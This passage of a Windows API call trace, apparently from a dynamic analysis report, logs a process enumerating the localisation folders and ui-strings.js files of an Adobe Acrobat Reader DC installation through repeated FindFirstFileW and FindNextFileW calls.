cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.845] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.845] GetProcessHeap () returned 0xc10000 [0255.845] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.845] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0255.845] GetProcessHeap () returned 0xc10000 [0255.845] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.845] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0255.848] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.848] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.848] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.848] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0255.849] GetProcessHeap () returned 0xc10000 [0255.849] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.849] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0255.849] GetProcessHeap () returned 0xc10000 [0255.849] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0255.850] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.850] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.850] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.850] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0255.850] GetProcessHeap () returned 0xc10000 [0255.850] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.850] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0255.850] GetProcessHeap () returned 0xc10000 [0255.850] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.850] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0255.852] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.852] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.853] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.853] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0255.853] GetProcessHeap () returned 0xc10000 [0255.853] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.853] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0255.854] GetProcessHeap () returned 0xc10000 [0255.854] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.854] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.855] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.855] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.855] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.855] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.855] GetProcessHeap () returned 0xc10000 [0255.855] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.855] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0255.855] GetProcessHeap () returned 0xc10000 [0255.855] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.855] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.856] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.856] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.856] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.856] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.857] GetProcessHeap () returned 0xc10000 [0255.857] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.857] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0255.857] GetProcessHeap () returned 0xc10000 [0255.857] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.857] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.857] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.857] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.858] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.858] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.858] GetProcessHeap () returned 0xc10000 [0255.858] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.858] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0255.858] GetProcessHeap () returned 0xc10000 [0255.858] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.858] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.859] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.859] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.860] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.860] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.860] GetProcessHeap () returned 0xc10000 [0255.860] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.860] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0255.860] GetProcessHeap () returned 0xc10000 [0255.860] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.861] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.861] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.861] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, 